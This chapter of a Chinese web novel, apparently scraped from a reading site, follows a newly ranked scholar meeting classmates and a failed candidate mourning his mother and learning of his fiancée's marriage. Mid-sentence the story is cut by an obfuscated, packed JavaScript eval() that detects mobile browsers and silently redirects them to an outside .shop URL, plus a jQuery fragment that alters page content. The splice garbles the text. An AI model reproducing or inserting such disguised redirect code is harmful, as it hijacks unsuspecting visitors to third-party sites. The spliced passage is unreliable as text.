江家村虚惊一场,复又热闹起来。
至于江御是怎么考上进士的,大家都将疑惑压进了肚子里,等他回家省亲,祭告祖宗,在细问不迟。
江珉也是狠狠松了口气,大家没事就好。
当真以为一人之过,拖累全族,那不真成罪人了。
李翠花都没空嫉妒江御一家,儿子能捡回来一条命才是最要紧的。
江御那头,得今上御批了一月的省亲假,终于得空回家了。
这月余间发生的事情,还得跟母亲交代一番。
进京赶考时因时间匆忙,加之不想让母亲和小妹挂心,只说有事出一趟远门,这会儿估计家人都还蒙在鼓里呢。
江御回国子监收拾东西,这段时间琼林宴、恩荣宴,进士们自己组的宴席,日日不断。
他也有段时间没回国子监了——不知沈知白他们一行人如何了?
说起来,今科之中一甲第三名张知白,与沈知白姓名间只有一字之差,倒是颇为有缘。
想到这儿,江御加快了脚步。
白日里的国子监书声琅琅,江御估摸着时间,上街买了些果脯、甜食打包,反正挑着女孩子热衷的吃食,打包了一些。
排队耽搁了些时间,回去时正好午休,恰巧和方鸣晨一行人在门口撞上了。
“江御!哈哈哈恭喜恭喜啊!”方鸣晨十分惊喜,虽然早知他考中进士,可到底是这会才见着人。
“方兄!走,今儿个我做东,咱们去会仙楼吃饭去!”
江御提着不少东西,在人群里搜寻那个熟悉的人。
“哟,这不是咱们今科探花吗?”沈知白姗姗来迟。
“难为您还记得咱们这群同窗啊?”
这话真是好生阴阳怪气。
大家僵在原地。
“小姐,你等等我!”小满急匆匆跑来:“哎哟!”
一没留神,差点被门槛绊倒,刚站稳,手中便被塞了个满满当当。
定睛一看,欢喜不已:“这不是张家铺子的点心吗?唉,小姐,小姐?”
自家小姐正怒目圆瞪,一脸埋怨的撇着眼前人。
江御?
江御扶着她,悄悄往她手里塞了包杏花酥饼。
小满顿时会意,提着东西就走:“哎呀,小姐我先回去放东西啊。”
国子监并不禁止带小厮和书童,所以小满一直和沈知白形影不离。
“小满你个叛徒!”
“哎呀,走走走,别扫兴。”江御推着沈知白就走。
“我跟你说,今科榜眼跟你一个名儿,可有意思!”
“...早知道了,要你说,还是想想怎么跟你娘解释去吧!”
一行人渐渐远去。
————
华阴县。
花了一天时间,李斌终于从山脚下爬了上来。
他瘫倒在地,犹如一具死去多时的尸体。
天色一点点暗了下去,李斌迟迟不敢去看尽近在眼前的石碑。
答案就在眼前,他却鼓不起一点勇气。
好像只要不去看,他娘就还在家中等他归来一般。
“呜呜——”
夜风好像也在叹息。
他终于崩溃,抱头痛哭,膝行至碑前。
姐姐的墓碑旁边,立着的“李唐氏”,正是他的母亲。
“娘啊!”
李斌悲从心起,嚎啕大哭。
悲切的哭喊声传了很远很远,惊起了几只夜鸦。
只是,再也唤不醒这墓中之人。
他没了姐姐,没了娘--也没了家。
身如飘萍,无人可依。
一夜,他哭了整整一夜,始终无法释怀。
他娘就剩他这一个儿子,自己居然没有在床前尽孝,没有替娘摔盆打瓦,披麻戴孝。
不孝啊!
姐姐去世时,她便哭坏了眼睛,他不在的这些年,娘是怎么熬过来的?
去世前,有没有想他?会不会害怕?
李斌觉得自己像一根木头,麻木得没了一丝情绪。
他颤抖着手指,一遍又一遍的轻抚着碑文。
乙酉年庚辰月十二日。
是雍熙二年,他刚刚考完春闱的那天,彼时母亲悄无声息的死在家中。
如果当时他第一时间赶回,至少能赶在母亲下葬之前见她最后一面。
但他没有,他李斌因为落榜,无颜回乡,连母亲最后一程都没有参加!
...难怪母亲连同姐姐都没有葬入祖坟,而是跟姐姐一同葬在这夭折子、未嫁女的地方。
连族中香火都享用不了,李斌一张又一张的往火里丢入纸钱。
他只觉的眼泪都已经流干了,只余下满腔的恨意。
欺人太甚。
天色微明,李斌终于注意到母亲碑文右下角的一行小字。
未亡人王氏立。
王氏,王氏?他的未婚妻王氏?
不对,母亲来信中,不是说她已嫁人了吗?
李斌摇了摇乱成一片的脑袋,更不对了,母亲已经去世好些年,这些年收到的信件从何而来?
是谁在给他寄信,寄银子?
蓦的,他死去的心又重新燃起零星的希望,砰砰的跳动起来。
她...她是不是还在等着自己?
拖着狼狈的身体,李斌回到了华阴县,找了个客栈倒头就睡。
醒来已是下午时分,收拾好自己,用完饭后,他踏上了回家的路。
李家世代耕读传家,家中尚有几分土地。
——所以他一直不曾怀疑家中早已出事。
出城快马半刻钟后,一个小镇出现在眼前。
李斌牵马走在镇上,时不时有人好奇的打量他几眼。
等他走到街尾,一个宅院赫然出现在眼。
正是他长大的地方。
宅子大门紧闭,门口挂着两盏灯笼,确实是有人居住。
李斌站在门口,手放在门环上,静默良久。
只要敲响这扇门,所有的疑惑就都能得到解答。
可不知怎么,这门环好似有千斤重,让他怎么都叩不下去。
起风了,天气阴沉沉的,眼瞅着快下雨了,卖货郎挑着货物,往家赶。
行至半路,不知哪里来的一匹马,横在路中间,拦住了去路。
卖货郎放下肩上的担子,左右看看,眼馋的不行,是真想把这马牵走卖了。
唉,可惜每一匹马都价值不菲,几乎都在官府留有登记,也有主人专属的烙印。
万一被官府查到,这盗窃和私贩马匹可都是流放的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972954|145865||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
重罪。
“谁的马,这么缺德?”
阴影处一个人影走了出来,吓了卖货郎一跳。
定睛一看,斗笠下的那张脸有些熟悉。
“你...你是李家的举人老爷!”
可不正是那年少成名的李家举人吗?
“你认识我?”
天上淅淅沥沥的飘起雨来,卖货郎索性将担子挑到廊下,跟李斌攀谈起来。
——这读书人可是全县的骄傲呀,说出去谁不赞一声这华阴县风水好?
说起来,这李宅能卖出高价,还不全沾了他的光吗?
李斌有心打听自己外后发生的事,闲聊起来。
傍晚时分,县衙散值,一个貌美的妇人撑着伞,等在县衙门外。
“这鬼天气,夫人怎么还亲自来了,养那么多下人是干什么吃的?”
孙县令早年丧妻,独自育有一子。
年逾三十才求娶了这个年轻貌美的姑娘做续弦,更难得的是这续弦也将他儿子视若己出,尽心培养。
所以孙县令这些年来对她一直宠爱有加,那是要月亮不给星星。
虽然年龄差了近十岁,可两人关系一直不错。
这不,每逢下雨天,县衙众人就得吃一波狗粮。
“反正在家也是闲着,不如出来走走,透透气。”
美貌妇人笑意盈盈。
“你呀你!”孙县令无奈,接过伞将妻子紧紧护在怀中,两人结伴远去。
“这王家姑娘也不知是走了什么狗屎运,被退了婚,居然还能嫁得县令为妻。”
在县衙门口躲雨的衙役忍不住感叹。
“你才来几年呀,知道啥呀,”主簿忍不住翻了个白眼:“分明是这孙县令走了大运!”
衙役来了兴致:“怎么说?”
主簿叹了口气。
“这王家二小姐也是命苦,早些年家中是极有钱有势的——还说了个少年天才做夫婿,一时间风头无两。”
那几年,任谁说起那少年,都得竖个大拇指,无他,这人是真厉害。
不仅年纪轻轻便考中举人,第二年,更是以未满十七的年龄,一举考中贡士,虽然最终止步殿试。
可任谁都知道,这少年前途无量。
都说易得无价宝,难得有情人。
这王家小姐和那少年自小青梅竹马,感情深厚,又早早定亲,只待一到年龄便上门求娶。
可惜没过两年,那少年卷进杀人案,险些丢了清白,万幸最终查清,人是他姐姐所杀。
加上他身有功名才没受到牵连,但还是错过了那年春闱。
这事到底于名声有碍,那少年又一次殿试时,再次被黜落,自此以后,销声匿迹,连母亲去世都没归家。
独留下王家姑娘苦苦支撑,虽然那母亲去世前已和王家商量,退了亲,放女孩自由。
但这女孩重情重义,帮着收敛尸骨,安葬入土一应事宜做的分外妥帖。
正当全县的人都以为,她会一直等下去时,第二年就听闻了她嫁人的消息。
王二姑娘刚出嫁不久,她那做官的舅舅犯了事,判了夷三族。
万幸出嫁女不在其列,这姑娘才捡了一条命。
唉,只是可惜,大好的年华,嫁给了大她十岁有余的县令,做了后母。